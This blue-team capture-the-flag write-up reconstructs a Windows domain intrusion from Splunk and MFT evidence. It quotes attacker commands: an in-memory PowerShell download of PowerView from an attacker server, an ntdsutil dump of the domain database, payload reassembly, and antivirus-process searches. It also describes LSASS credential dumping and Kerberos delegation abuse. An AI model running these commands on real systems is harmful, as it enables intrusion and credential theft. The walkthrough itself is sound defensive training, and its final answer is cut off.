CredSnare — Angry Likho APT

Official walkthrough medium: https://cyberdefenders.org/blueteam-ctf-challenges/credsnare-angry-likho-apt/

We can see the attack happened on August 4, 2025. The attack included unusual activity from an engineering user’s workstation which revealed file executions in unusual locations and network connections on unexpected ports, with many events evading antivirus detection.

Investigators suspected credential theft, data exfiltration, and persistent access.

LET’S GO!!!!

Initial Access

1. While reviewing PowerShell execution logs from the affected workstation, you spot a script that appears to have delivered the initial payload. What’s the name of the script that was used?

I searched the indexes that are parsed in the Splunk by putting index=* for a small amount of time and can see that there is only one index=main.

We mocve on to host where we can spot 2 hosts in which one is DC so we will investigate the one which is mentioned here as PC01.

Next we know it is asking for a PS script so we will search for “.ps1” script. And lastly we will put the Sysmon Event ID 1 which records detailed information about new process creation, serving as a critical tool for detecting malicious activity.

index=main host="PC01" EventCode=1 CommandLine=*.ps1*
|table _time, CommanLine, ParentImage, user
|sort _time

The reason for usig ParentImage is to know the source, so at first we will find if we can anything from internet like explorer. And secondly complexity with URL reference.

So we can see as the first payload delivered to the system.

Answer: win15.ps1

Q2. One of the early indicators involved a ZIP archive that was extracted just before the malicious activity began. Can you identify the name of that ZIP file?

I used hint here because I cannot find anything in splunk. So it mentioned to use $MFT tool, so I used this with Timesketch tool and did the Forensic analysis.

Then I understood the reason that the script was executed in memory, direct analysis of its content is not possible.

I launched Command line and executed the following command to analyze the MFT from the suspect system:

C:\Users\Administrator\Desktop\Start Here\Tools\ZimmermanTools\net6\MFTECmd.exe -f "C:\Users\Administrator\Desktop\Start Here\Artifacts\PC01\uploads\ntfs\%5C%5C.%5CC%3A\$MFT" --csv C:\Users\Administrators\Desktop --csvf MFT.csv

After parsing the data, let’s import the results into Timeline Explorer to facilitate a timeline-based analysis. To identify the name of the ZIP file involved in the activity, we apply a filter based on the .zip file extension.

Based on a detailed analysis of the $MFT timeline, it was determined with that the file bFylC6zX.zip was created exactly 6 seconds following the execution of the in-memory PowerShell stager. The precise temporal correlation between the creation timestamp of the ZIP file and the initial payload execution strongly indicates that bFylC6zX.zip is the archive retrieved and utilized by the attacker during this stage of the intrusion. This finding establishes a clear forensic link between the PowerShell-based execution and the deployment of the malicious archive.

Answer: bFylC6zX.zip

Q3) A suspicious executable was launched from an unusual location on the user’s system. What is the full file path to that executable?

Following the creation of the ZIP archive bFylC6zX.zip in %APPDATA%\Roaming, the attacker’s next objective was to extract its contents. These extracted files are critical to the attacker’s second-stage execution phase. Because the initial PowerShell command executed the win15.ps1 script entirely in memory, and the ZIP file was downloaded and extracted silently, traditional event logs such as Sysmon Event ID 11 (File Creation) or Event ID 1 (Process Creation) may not record everything.

To advance our investigation, we pivot to analyzing the NTFS Master File Table ($MFT) and the associated $LogFile. These artifacts provide comprehensive records of file system activity, including file creation, deletion, renaming, movement, and metadata modifications, regardless of whether the file persists on disk. Leveraging the previously extracted MFT.csv file generated using MFTECmd,we will now focus our analysis on entries within the .\Users\william\AppData\Roaming directory. This user-specific AppData path is commonly targeted by adversaries for staging payloads, persistence mechanisms, or execution of post-exploitation tooling. Filtering this directory allows us to identify anomalous or suspicious files that may indicate further attacker activity.

The attacker used an obfuscated PowerShell command that retrieves win15.ps1 remotely via Invoke-WebRequest, then decodes the script content using [System.Text.Encoding]::UTF8.GetString(...), and finally executes it in memory using Invoke-Expression. This entire flow introduces a slight delay between the execution of the PowerShell stager and the actual file operations such as downloading, writing, and extracting the ZIP archive. That delay is crucial in forensic timeline reconstruction.

Since the contents of win15.ps1 were not stored on disk and the script was executed in memory, it’s not possible to statically analyze it. However, the forensic timeline helps us trace its side effects.

Our analysis of the $MFT reveals that the ZIP file bFylC6zX.zip was created at 2025-08-04 18:38:57 in the following location: C:\Users\william\AppData\Roaming\bFylC6zX.zip

A few seconds later, at 2025-08-04 18:39:13, a new directory named 7oCDTWYu was created under the same parent path. Finally, at 2025-08-04 18:39:14, an executable named set-up.exe appeared within that directory: C:\Users\william\AppData\Roaming\7oCDTWYu\set-up.exe

This timing sequence indicates that the attacker silently extract the archive and drop the second-stage payload. The delay between script execution and file creation reflects the time required for downloading the script, parsing the content as UTF-8, writing the ZIP to disk, and extracting its contents. These steps, while seemingly fast, take a few seconds, and the $MFT timeline confirms it.

Answer: C:\Users\william\AppData\Roaming\7oCDTWYu\set-up.exe

Q4) Network logs show an outbound connection to an unexpected destination. Which IP address and port did the compromised host reach out to?

Now that we’ve established the execution of the second-stage binary set-up.exe, we shift our investigation toward detecting outbound communication initiated by this file. Post-execution, attackers typically establish Command and Control (C2) channels to maintain remote access. Identifying this communication is crucial for confirming compromise and tracing infrastructure used in the attack.

To accomplish this, we begin by examining network connection logs using Sysmon Event ID 3. This event ID provides details about network connections initiated by processes on the system, including the source IP, destination IP, destination port, and the process responsible for the connection. These events are critical in post-exploitation analysis because they can reveal when a process establishes communication with a potentially malicious external server.

We construct the following Splunk query to identify all outbound connections initiated shortly after set-up.exe was downloaded and executed:

index=main host="PC01" EventCode=3
| search process_name=*set-up.exe*
| table _time, process_name, src_ip, DestinationIp, DestinationPort

Reviewing the output of this query shows something notable: a large number of outbound connections initiated by the process set-up.exe shortly after it was executed. A total of 140 distinct outbound connections were observed, all targeting the same destination:

Destination IP: 10.10.5.195
Destination Port: 9001

This pattern strongly suggests automated or persistent communication behavior. The fact that all connections originate from set-up.exe, the same executable extracted from the earlier ZIP archive, indicates that the executable is responsible for maintaining communication with the external system at 10.10.5.195. The communication appears to be repeated and consistent, suggesting that the executable may be operating as a background service or implant that periodically reaches out to this IP for further instructions.

To further validate this finding, we align the network activity with our previously reconstructed timeline. The executable set-up.exe was created at 2025-08-04 18:39:14. Shortly afterward, the outbound connections begin appearing in the logs. The repeated network connections also help differentiate this behavior from normal application usage. Most legitimate applications do not initiate dozens of identical outbound

Answer: 10.10.5.195:9001

Q5) During your persistence analysis, you identify a registry key likely used to ensure code execution on reboot. What’s the name of the registry value created for persistence?

After observing that a suspicious executable (set-up.exe) was dropped and executed, the next logical step is to determine how the attacker ensured persistence, in other words, how they maintained access even after system reboots or user logouts.

In real-world incidents, one of the most common persistence mechanisms used by threat actors involves modifying the Windows Registry, especially within paths that automatically execute applications upon user login. These include:

• HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• HKLM\Software\Microsoft\Windows\CurrentVersion\Run

To detect this behavior, let’s examine Sysmon Event ID 13, which logs registry value set operations. Using Splunk, we craft a query to look for registry changes tied to persistence patterns, especially those referencing the path to the previously dropped executable, set-up.exe.

index=main host="PC01" EventCode=13
| eval RegistryKey=lower(TargetObject)
| search RegistryKey="*\\software\\microsoft\\windows\\currentversion\\run*"
| table _time, TargetObject, Details, Image, User

This indicates that a registry value named 5TQjtTuo was created under the Run key of the user with SID S-1-5-21-3865674213-28386648-2675066931-1162, which maps to the user william. The value points to the execution of a suspicious binary set-up.exe, located in a non-standard directory under %APPDATA%, a location commonly abused by malware to blend in with legitimate user data.

The value name 5TQjtTuo appears randomly generated, a technique frequently used by malware to avoid detection by signature-based tools.

Cross-referencing with $MFT and timeline data, we previously observed:

• set-up.exe created at 2025-08-04 18:39:14
• Registry value created 2 seconds later (2025-08-04 18:39:16)

This tight temporal relationship confirms that the registry persistence was configured immediately after the payload was extracted and run, likely by the same PowerShell script (win15.ps1) that initiated the download and extraction.

Answer: 5TQjtTuo

Q6) Your review of module loads reveals DLL sideloading via a legitimate Windows binary. What is the name of the suspicious DLL that was sideloaded?

After confirming that the attacker had established persistence via a registry autorun key, our next step was to examine whether any advanced persistence techniques were used, particularly those that involve masquerading malicious activity behind legitimate system binaries.

One such technique is DLL sideloading, which occurs when a trusted executable loads a malicious DLL placed alongside it. This often works because many Windows binaries load DLLs from the same directory they're executed from, giving attackers the opportunity to plant rogue DLLs that get loaded unintentionally by legitimate programs.

To begin our investigation, we decided to analyze file creation events using Sysmon Event ID 11. This would help us detect any suspicious files, especially DLLs, being written to disk by unusual or untrusted processes.

index=main host="PC01" EventCode=11 Image!="C:\\Windows\\system32\\svchost.exe"
| search TargetFilename="*.dll*"
| table _time, TargetFilename, Image

Among the results, one entry immediately stood out:

• TargetFilename: C:\Users\Public\Dismcore.dll
• Image: C:\Users\william\AppData\Roaming\7oCDTWYu\set-up.exe

This tells us that the DLL was not introduced manually or copied by a system utility, it was actually dropped directly by set-up.exe, the same binary that was extracted from the malicious ZIP archive in the early stages of the attack.

The naming of the DLL (Dismcore.dll ) strongly indicates that it’s meant to be loaded by dism.exe, a legitimate Windows binary used for servicing Windows images. This is a known and well-documented sideloading technique: an attacker drops a legitimate binary like dism.exe into a writable location and places a fake Dismcore.dll alongside it. Upon execution, dism.exe loads the malicious DLL instead of the legitimate one from System32, due to how Windows handles DLL search paths.

To confirm that the attacker did indeed drop a rogue copy of dism.exe, we pivoted to process creation logs using Sysmon Event ID 1:

index=main EventCode=1 Image="*dism.exe"
| table _time, Image, CommandLine

The results revealed that dism.exe was executed from a non-standard path, confirming that this was not the original Windows binary from C:\Windows\System32. Instead, the attacker planted their own copy elsewhere (C:\Users\Public\ ) to pair it with their dropped Dismcore.dll.

index=main EventCode=7 Image="*dism.exe"
| table _time, Image, ImageLoaded

With these observations, we now have clear forensic evidence that the attacker used the set-up.exe binary to drop a malicious DLL named DismCore.dll, which was then sideloaded by a rogue copy of dism.exe. The DLL itself was planted in a well-known, attacker-writable directory (Public), making it easy for the malware to persist while remaining under the radar.

index=main EventCode=1 "*dism.exe"
| table _time, CommandLine

With both the malicious DLL and its corresponding sideload target in place, we looked for the mechanism used to automatically trigger this tool. Continuing the investigation, we searched the system for any scheduled tasks created during the attack window. Scheduled tasks are a common persistence technique, allowing attackers to execute payloads on logon, system startup, or other defined events.

We identified the creation of a scheduled task named DISMCORE, configured to execute Dism.exe binary at logon with highest privileges:

• Task Name: DISMCORE
• Trigger: OnLogon
• RunLevel: Highest
• Action: "C:\Users\Public\Dism.exe"

This scheduled task guarantees that the attacker’s malicious sideloading chain is automatically executed every time the system starts or a user logs in, with full administrative privileges. This type of persistence is stealthy, highly effective, and consistent with the broader tradecraft observed in this attack.

Combining all of these findings, the dropping of Dismcore.dll by set-up.exe, the planting of a fake Dism.exe binary, and the scheduled task used to persistently launch the sideloading chain, we gain a clear picture of how the attacker escalated their foothold and ensured reliable re-entry into the compromised machine.

Answer: DismCore.dll

Q7) After the attacker achieved persistence using DLL sideloading, a network connection was initiated. What is the port number used during this outbound communication?

Continuing our investigation into the persistence mechanisms used in this attack, we previously established that a malicious DLL named Dismcore.dll was deployed by the initial set-up.exe payload and then loaded into memory via dism.exe, a legitimate Windows tool. Furthermore, we confirmed that dism.exe was executed repeatedly through a scheduled task named DISMCORE, granting it high privileges and ensuring it runs at every user logon.

Having established the sideloading chain, the next question is: what happens after the malicious DLL is loaded? Since malware often uses DLLs to initiate network callbacks to the attacker’s infrastructure, our goal is to determine whether Dismcore.dll (once loaded by dism.exe) established any outbound network connections and if so, which port was used.

To track this, we first pivoted to Sysmon Event ID 7, which logs DLL load activity. Using the query below in Splunk, we focused on dism.exe to verify that it indeed loaded Dismcore.dll into memory:

index=main EventCode=7 Image="*dism.exe"
| table _time, Image, ImageLoaded

From the results, we observed that C:\Users\Public\Dism.exe loaded Dismcore.dll from the same directory at 2025-08-04 18:53:45. Our next logical step was to identify whether any network activity occurred as a result of this DLL being loaded. For this, we examined Sysmon Event ID 3, which captures details of outbound network connections, including the originating process, source IP, destination IP, and port number.

Given that malware often leverages rundll32.exe to execute DLL functionality (especially when the DLL exports a specific entry point), we used the following query to narrow down any connections originating from this process:

index=main host="PC01" EventCode=3
| search process_name=*rundll32.exe*
| table _time, process_name, src_ip, DestinationIp, DestinationPort

The results revealed something interesting, at 18:53:46, just one second after DismCore.dll was loaded, a connection was initiated by rundll32.exe to IP address 10.10.5.195 on port 1337. Then, another connection followed at 18:53:47, this time to the same IP but on port 9900.

Here’s what we believe took place:

• When dism.exe was executed, it sideloaded DismCore.dll. This DLL file was embedded with shellcode to execute a staged reverse TCP shell back to the attacker’s infrastructure.
• The first connection, to port 1337, corresponds to a stage listener. This port is typically used to receive the initial stage payload, essentially the shellcode loader inside the DLL calling back to fetch the full implant.
• Once the full implant is delivered through port 1337, it injects a beacon profile into memory, which is configured to use the listener over port 9900 for persistent and encrypted C2 communication.
• This explains why port 1337 is used at first, during the initial stage delivery, while port 9900 is used then for encrypted communication with the C2 server.

The parent process for both connections was rundll32.exe, which is often used by malware to invoke DLL entry points.

By correlating process execution (dism.exe), DLL loading (DismCore.dll), and network activity (rundll32.exe → ports 1337, 9900), we were able to clearly trace how the sideloaded DLL initiated communication with the attacker-controlled server.

Answer: 1337

Q8) A scheduled task was created on the domain server to trigger a malicious script automatically. What is the name of that task?

One common technique that attackers use to maintain long-term access or execute malicious payloads at privilege escalation points is by leveraging Windows Scheduled Tasks. These tasks can be created to execute malware at specific times or under specific conditions (such as on user logon), and they often run with elevated privileges if misconfigured.

We want to identify whether the attacker has created such tasks on the system, especially on high-value targets like the domain controller, where persistent access would provide strategic control over the environment.

To investigate whether the attacker leveraged this method on the domain controller (DC01), we focus on Sysmon Event ID 1, which logs process creation events. Specifically, we're looking for executions of schtasks.exe , either to create, configure, or run scheduled tasks.

We begin our Splunk investigation with the following query:

index=main host="DC01" EventCode=1 Image="*schtasks.exe*"
| table _time, Image, CommandLine

Upon running this query, we observe a particularly suspicious task with the following properties:

• TaskName: Wow64 Subsystem
• Command: C:\ProgramData\schcache\mswow86.exe

This task immediately stands out for a few reasons:

1. The name Wow64 Subsystem is misleading and deceptive, designed to blend in with legitimate Windows subsystem processes.
2. The path points to a custom executable (mswow86.exe) placed in C:\ProgramData\schcache\, a non-standard location often used by attackers to hide payloads.
3. The scheduled task is set to execute on logon, meaning it will persist across reboots and sessions.

Having identified the suspicious scheduled task and its associated payload (mswow86.exe), our next step is to determine how this payload arrived on disk.

Having identified the suspicious scheduled task and its associated payload (mswow86.exe), our next step is to determine how this payload arrived on disk.

We begin by checking for file creation events involving mswow86.exe. These events are captured by Sysmon Event ID 11.

index=main host="DC01" EventCode=11 *mswow86.exe*
| table _time, process_path, file_path

This reveals something interesting: the process responsible for creating mswow86.exe on disk was C:\Program Files\7-Zip\7z.exe .

This indicates the file was likely extracted from an archive. This is a common evasion technique, where attackers compress a malicious payload and download it in an archive format to prevent detection by security tools scanning for executables.

To verify this, we investigate how 7z.exe was invoked:

index=main host="DC01" EventCode=1
| search CommandLine=*7z.exe*
| table _time, CommandLine, Image

This confirms the archive cache.cab was extracted into the schcache folder, placing mswow86.exe in its final destination. But where did cache.cab come from?

To answer that, we search again in Event ID 1, this time for any command involving cache.cab:

index=main host="DC01" EventCode=1 
| search CommandLine=*cache.cab*
| table _time, CommandLine, Image

This command downloads cache.cab from the attacker’s HTTP server and writes it to C:\ProgramData. certutil.exe is a dual-use tool that comes with Windows, frequently abused by adversaries to download files without triggering AV or EDR alerts.

By stitching together the evidence, we can fully reconstruct this part of the attack:

1. The attacker, after gaining administrative access to the domain controller, downloaded cache.cab using certutil.exe.
2. The archive was extracted using 7z.exe to C:\ProgramData\schcache\, where mswow86.exe was dropped.
3. A scheduled task named Wow64 Subsystem was created to execute mswow86.exe on logon with highest privileges, ensuring persistence across reboots and user sessions.

Answer: Wow64 Subsystem

Q9) You find traces of an unauthorized local user added during the attack. What is the name of the user account created?

After identifying several persistence mechanisms employed by the attacker including registry autorun keys, scheduled tasks, and DLL sideloading, we continue our investigation to uncover whether any additional accounts were created on the compromised environment. This technique is commonly used by attackers to retain long-term access by creating backdoor accounts, especially if other persistence methods are detected and removed.

To investigate this hypothesis, we focus on user creation activity, particularly using native system binaries like net.exe, which logs activity under Windows Event ID 4720 in the Security log. This event captures the creation of a new local or domain user.

We start our investigation by crafting the following Splunk query to isolate this behavior:

index=main EventCode=4720
| table _time, TargetUserName, SubjectUserName, host

To understand how this user was created, we pivot to process execution telemetry from Sysmon Event ID 1, filtering for binaries executed from suspicious directories or with naming patterns suggesting privilege escalation or user manipulation.

index=main host="DC01" EventCode=1
| table _time, CommandLine

After aligning the time by a margin of only three seconds to match the timestamp of the user creation event, I identified the execution of a binary named createuser.exe at 2025-08-04 19:57:19. At precisely the same second, a new user account with the username localend was created. This account was assigned the password Decryptme7 and immediately added to the Local Administrators group on the domain server, indicating a clear attempt to establish persistent privileged access.

index=main host="DC01" EventCode=1
| search CommandLine=*createuser.exe*
| table _time, CommandLine

This binary was retrieved from the attacker’s HTTP server (10.10.5.199), saved in the Documents directory of a local user (charles), and executed shortly after being downloaded.

Answer: localend

Q10) You see process enumeration activity indicating the attacker was targeting a specific service. What service or process name were they looking for?

Once an attacker has established initial access, persistence, and evasion measures, the next logical step in the intrusion chain is discovery, where the attacker explores the compromised environment to identify valuable targets, lateral movement paths, or open services they can leverage.

In this case, we’re looking for signs of service enumeration using native Windows tools. To investigate, we begin by querying Sysmon Event ID 1 for all command-line executions related to process or service discovery. A good starting point is the tasklist utility, a built-in Windows command that provides a real-time list of running processes. When combined with tools like find or findstr, attackers can use it to search for specific process names that might indicate interesting services or running agents.

We use the following query to focus on such activity:

index=main host="PC01" EventCode=1
| search CommandLine=*tasklist*
| table _time, CommandLine

Here, the attacker has instructed cmd.exe to run tasklist and pipe the output into the find utility, searching specifically for entries that contain the keyword ssh. By filtering the output of tasklist for "ssh", the attacker is checking whether any SSH-related processes are currently running on the host.

From a defender’s perspective, this is a strong indicator of post-exploitation activity. The attacker isn’t executing arbitrary commands, they’re executing targeted reconnaissance to evaluate services they may exploit next. If OpenSSH or third-party SSH daemons (like Bitvise, Dropbear, or PuTTY) are in use, this technique could help the attacker identify alternative remote access methods or even hijack existing sessions.

Answer: ssh

Q11) During the discovery phase, the attacker retrieved and executed a remotely hosted PowerShell script. What is the name of the file that was downloaded?

After an attacker has established a stable foothold and implemented persistence mechanisms, their next priority typically shifts to gathering intelligence about the system and domain environment. This process, commonly referred to as the Discovery phase in the MITRE ATT&CK framework, helps attackers understand what permissions they have and what targets may be available for privilege escalation or lateral movement.

One of the most powerful techniques attackers use during this phase is to execute reconnaissance scripts through PowerShell. These scripts often come from public red team tools but are renamed or obfuscated to evade basic detection.

To begin investigating this phase, we aim to identify any suspicious PowerShell activity. PowerShell command executions are logged in Sysmon Event ID 1, and in some environments, Event ID 4104 can also be useful (for script block logging). In our case, we start with this query to capture relevant activity:

index=main host="PC01" EventCode=1 CommandLine=*.ps1*
| search powershell
| table _time, CommandLine, ParentImage, Image, process_id
| sort - _time

Among the results, we find the following command stands out:

powershell -ep bypass -c "iex (iwr 'http://10.10.5.199/MSOfficeSyncService.ps1' -UseBasicParsing); Get-NetUser -TrustedToAuth"

Let’s break this down:

• powershell -ep bypass: The attacker disables the execution policy to run unsigned scripts.
• iwr '[http://10.10.5.199/MSOfficeSyncService.ps1](http://10.10.5.199/MSOfficeSyncService.ps1)': A remote PowerShell script is downloaded from an attacker-controlled server (10.10.5.199).
• iex (...): The script is executed immediately in memory using Invoke-Expression.
• Get-NetUser -TrustedToAuth: A specific function is called to enumerate domain users that are trusted to perform delegation (S4U2Proxy), often an early step before performing Kerberoasting or privilege escalation.

At this stage, we still don’t know what tool the attacker used. But by analyzing the invoked function name, Get-NetUser, we recognize it as a signature function of PowerView, a well-known post-exploitation tool in the PowerSploit framework. While the filename MSOfficeSyncService.ps1 might appear legitimate at first glance, the function it exposes is what betrays its true nature.

Answer: MSOfficeSyncService.ps1

Q12) During your investigation into the attacker’s evasion techniques, you uncover that a batch script was downloaded and executed to assemble a fragmented payload on disk. What is the name of the batch script used in this stage of the attack?

As we progress through the forensic timeline, we’ve already established that the attacker’s initial foothold came from a PowerShell command that fetched and executed a script hosted remotely (win15.ps1). This script initiated multiple subsequent actions, including downloading a ZIP archive and executing a binary (set-up.exe). Our goal in this phase is to determine whether the attacker executed any additional script-based components that could serve purposes like staging payloads, hiding activity, or performing anti-analysis checks.

One reliable method of tracking such activity is to inspect process creation logs (Sysmon Event ID 1), particularly looking for execution of script files such as .bat, .cmd, or .sys. These types of scripts are frequently used by attackers to chain together multiple malicious operations, especially those that involve downloading payloads in small pieces, interacting with system tools.

We begin our investigation by filtering process creation events that include these script extensions using the following Splunk query:

index=main host="PC01" EventCode=1 
| search CommandLine="*.bat" OR CommandLine="*.cmd" OR CommandLine="*.sys"
| table _time, Image, ParentImage, CommandLine, parent_process_id
| sort - _time

From this query, we discover a highly suspicious command executed at 2025–08–04 18:39:16:

This execution pattern strongly suggests that cmd.exe was used to launch a script named Hose.cmd, located in the C:\ProgramData\ directory, a path commonly abused by malware for storing temporary and non-user-visible files. While the filename Hose.cmd alone doesn't appear inherently malicious, its execution context and timing raise significant suspicion.

To validate whether this script was tied to the initial PowerShell stager, we pivot to Event ID 1 again and query for PowerShell executions that occurred just before this event:

index=main host="PC01" EventCode=1 CommandLine=*.ps1*
| search powershell
| table _time, CommandLine, ParentImage, Image, process_id
| sort - _time

This reveals a PowerShell command executed at 2025–08–04 18:38:51, the same malicious stager we previously identified, used to download and execute win15.ps1. Crucially, this PowerShell process had a Process ID of 14824, which matches the ParentProcessId of the cmd.exe process that executed Hose.cmd. This directly links the two events in the attack chain.

From this correlation, we now understand that the win15.ps1 script not only downloaded and ran a ZIP payload, but also invoked a second-stage script (Hose.cmd), which was stored in a stealthy location and executed silently using cmd.exe. This kind of layered execution is consistent with defense evasion practices, where attackers compartmentalize functionality across multiple scripts and binaries to evade signature-based detection.

Answer: Hose.cmd

Q13) While analyzing command execution logs, you discover that the attacker ran a command searching for specific strings that point to endpoint protection or antivirus processes. What are the two strings being searched for in this command?

As we dig deeper into the attacker’s post-exploitation activity, we begin analyzing the behavior of a suspicious batch script that was executed early in the attack. This script, stored under C:\ProgramData\ and named Hose.cmd (previously confirmed in Q10), appears to act as a stage orchestrator, executing multiple follow-up commands after the primary beacon was deployed.

To understand the content and behavior of this script, we pivot back to Sysmon Event ID 1, which captures command-line arguments for all executed processes. Since Hose.cmd is a batch file, each line executed from within it will spawn a separate command-line entry in the logs. To trace these actions, we construct the following query:

index=main host="PC01" EventCode=1 *Hose.cmd*
| table _time, ParentCommandLine, CommandLine
| sort _time

This command uses findstr, a Windows-native string searching utility, in case-insensitive mode (/I) to search for the keywords "wrsa" and "opssvc". The command likely appears within a search structure inside the script, and is used to enumerate processes, services, or possibly even loaded modules associated with known antivirus or endpoint protection software.

Why is this significant?

• WRSA refers to Webroot SecureAnywhere, a lightweight and cloud-based endpoint protection solution. The main process associated with it is:

Executable: WRSA.exe
Product: Webroot SecureAnywhere

• OPSSVC often refers to the service OPSSVC or components from OPSWAT MetaDefender, another commercial-grade security product used to detect malware, policy violations, and vulnerabilities.

From an attacker or red team perspective, probing for "wrsa" and "opssvc" enables reconnaissance to detect active security solutions and facilitates evasion by dynamically adjusting the script’s behavior to avoid detection or interference.

This kind of tactic is often observed in advanced persistent threats (APTs) and modern commodity malware, particularly in modular loaders like Lumma, where pre-checks for AV products determine whether the rest of the implant chain will execute.

Answer: wrsa , opssvc

Q14) During your investigation, you discovered that the attacker successfully accessed the Domain Controller. What is the name of the transited service used in the logon event that indicates this activity?

After attackers gain an initial foothold and establish persistence on a host within the environment, the next step is often to move laterally across the network. One of the most powerful techniques they can use at this stage, especially in an Active Directory environment is Kerberos Constrained Delegation (KCD). This method allows an attacker to impersonate high-privilege users (such as domain administrators) and access services on remote systems.

KCD works by abusing service accounts that are configured with “Allowed to delegate to specific services” privileges. If an attacker compromises such an account, they can forge or request a Kerberos service ticket (TGS) that allows them to access another service on behalf of a different user. This is often referred to as a S4U2Proxy attack, and it is particularly dangerous because the attacker never needs to interact directly with the impersonated user, the domain controller handles the authentication on their behalf.

To detect signs of this, we start by looking at Windows Security Event ID 4624 on the Domain Controller, which logs every successful logon attempt. In particular, we focus on the TransmittedServices field within these events. This field contains the Service Principal Name (SPN) used during delegated authentications and is only populated during Kerberos delegation events.

index=main host="DC01" EventCode=4624 TransmittedServices!="-"
| table _time, src_ip, LogonType, TransmittedServices, TargetUserName

we isolate logon events that involved delegation. Reviewing the output, we find a suspicious logon from:

• Source IP: 10.10.5.199 → the same IP previously observed originating malicious activity.
• Transmitted Services:webservice@CORP.LAB
• Logon Type: 3 → a network logon, typically associated with service or remote access.

This combination of evidence strongly suggests that Kerberos Constrained Delegation was used to access the domain controller. The attacker has leveraged delegation rights associated with the webservice service account to impersonate a higher-privileged user, specifically the Administrator account, and gain access to services on the domain controller DC01.

By analyzing the source IP and timestamp of the logon, we can map this activity directly to the attacker’s lateral movement phase. The presence of webservice@CORP.LAB in the TransmittedServices field is a direct indicator that delegation occurred, and its appearance during a logon from an external host to DC01 confirms that this was not part of normal domain service activity.

To further understand how the attacker acquired the ability to perform this impersonation, we pivoted to analyze memory access activity on the initial compromised host PC01. Specifically, we wanted to know if the attacker accessed the LSASS process, which stores sensitive credentials in memory.

We used the following Splunk query to detect suspicious memory access attempts targeting lsass.exe:

index=main host="PC01" EventCode=10 TargetImage="*lsass.exe*" 
| table _time, SourceImage, TargetImage, GrantedAccess

The 0x1010 access mask corresponds to PROCESS_QUERY_INFORMATION and PROCESS_VM_READ, which are exactly the permissions needed to dump credentials from LSASS. This confirms that the attacker extracted credential material on PC01 before accessing the domain controller, likely including the NTLM hash of the webservice account.

This completes the full chain of logic:

1. The attacker used the renamed PowerView script to enumerate users with delegation rights.
2. He identified the webservice account, which was allowed to delegate to specific services.
3. He dumped credentials from lsass.exe using set-up.exe to obtain the webservice’s NTLM hash.
4. He used this hash in a KCD attack to impersonate the Administrator and access the domain controller as if he were that user, confirmed by the TransmittedServices field.

Thus, the field webservice@CORP.LAB in the 4624 event logs on DC01confirms that the attacker successfully impersonated the Administrator using the webservice account’s delegation rights.

Answer: webservice@CORP.LAB

Q15) While investigating token activity, you found that the attacker accessed user credentials from a messaging app’s cache file. What is the name of this file?

As we progress into the Credential Access phase of our investigation, we must focus on identifying if any sensitive user data, particularly credentials or session tokens, were accessed or exfiltrated by the attacker. Modern applications like messaging clients, browsers, or gaming platforms often store authentication tokens locally on disk. If an attacker gains access to these storage locations, they can harvest session tokens without needing to know or crack passwords.

To investigate this, we pivot to our parsed $MFT data collected from the compromised machine. Using Eric Zimmerman's MFTECmd in combination with Timeline Explorer. Our focus is on any files accessed in well-known token storage paths. Upon filtering for .ldb files, LevelDB files used by applications like Discord, we identify a notable hit:

This file was last accessed at 2025-08-04 18:39:25, which places it exactly within the active attack window. .ldb files within the Discord directory are known to contain authentication tokens, including the user's long-lived Discord session tokens. These can be exploited by attackers to hijack a session and impersonate the user without needing the password.

Answer: token000005.ldb

Q16) During your investigation, you discovered the attacker downloaded multiple segments of a compiled AutoIt v3 script for credential theft. What is the name of the compiled script file delivered?

As we continue exploring the Credential Access phase, our goal is to identify any custom-built tools or scripts that the attacker introduced and assembled directly on the compromised host. One common tactic used by advanced threat actors to evade detection is to split their payloads into multiple segments and later reassemble them on the target system. This evasion technique makes it harder for antivirus tools and network defenders to spot large, known malicious binaries being transferred in a single step.

To investigate this behavior, we examine execution of previously identified malicious scripts, such as Hose.cmd. This batch file was executed early in the attack chain and is suspected to contain various commands responsible for post-exploitation activities.

We run the following Splunk query to review all command-line instructions issued via Hose.cmd:

index=main host="PC01" EventCode=1 *Hose.cmd*
| table _time, ParentCommandLine, CommandLine
| sort _time

In the results, we discover a particularly suspicious line:

cmd /c copy /b ..\Italy + ..\Holmes + ..\True + ..\Lying + ..\Responded + ..\Proc + ..\Fa + ..\Ink suggests.a3x

This command uses the copy /b (binary copy) operation to concatenate eight different files, each with a non-descriptive name like Italy, Holmes, True, etc.—into a single output file called suggests.a3x.

The .a3x extension is noteworthy. It is typically associated with AutoIt v3 compiled script segments. Attackers often compile AutoIt scripts to .exe or .a3x formats to carry out credential harvesting, keylogging, or privilege escalation. By breaking the script into small pieces and reassembling it on the host, the attacker avoids triggering static file signatures or behavioral analysis tools that monitor for large binary drops.

AutoIt-based payloads are often used in the wild by commodity malware families, including Lumma stealer variants. These scripts can interface with Windows APIs and perform complex tasks while remaining relatively stealthy. Detecting their presence, especially when reconstructed from fragments, is a strong indicator of attacker sophistication.

Answer: suggests.a3x

Q17) Your investigation reveals that the attacker dumped the Domain Controller’s database to steal sensitive data. which file was downloaded and executed to dump the domain database?

As we transition into the Collection phase of the attack, our primary objective is to identify any attempts made by the adversary to exfiltrate or harvest sensitive credentials or authentication data from within the domain. A key target for threat actors during this stage is the NTDS.dit file, the Active Directory database on Windows Domain Controllers that stores hashed passwords, user accounts, and group memberships.

Dumping this database is a high-value objective for adversaries, and doing so usually requires elevated privileges and direct interaction with sensitive system files.

To detect this type of activity, we start by hunting for command-line executions that could point to credential dumping tools or post-exploitation frameworks used to extract domain controller data. One common method is to leverage Volume Shadow Copy Service (VSS) or other built-in utilities in conjunction with purpose-built binaries to extract ntds.dit.

To explore whether the attacker attempted such collection activity, we began reviewing system-level commands executed on the Domain Controller (DC01). Since dumping the NTDS.dit file typically requires elevated privileges and is often done using either ntdsutil.exe, vssadmin.exe, or Volume Shadow Copy Service (VSS), we crafted a Splunk query to focus on these keywords:

index=main host="DC01" EventCode=1
| search CommandLine=*vssadmin* OR CommandLine=*ntdsutil*
| table _time, ParentCommandLine, CommandLine 
| sort -_time

This query reveals a particularly suspicious and complex execution chain. The command discovered was:

ntdsutil.exe "ac i ntds" "ifm" "create full C:\Users\Public\ntdsutil" q q

This command invokes ntdsutil.exe, a legitimate administrative utility provided by Windows. Here, the attacker used the "Install From Media" (IFM) option to create a full backup of the domain database, which includes the NTDS.dit file and its associated system registry hives (such as SYSTEM and SECURITY). These files are critical for credential dumping and can later be parsed using tools like secretsdump.py .

The attacker specifies the output directory as: C:\Users\Public\ntdsutil

By writing into a world-readable location like C:\Users\Public, the attacker ensures that the dumped files can be accessed or copied later through an exfiltration tool.
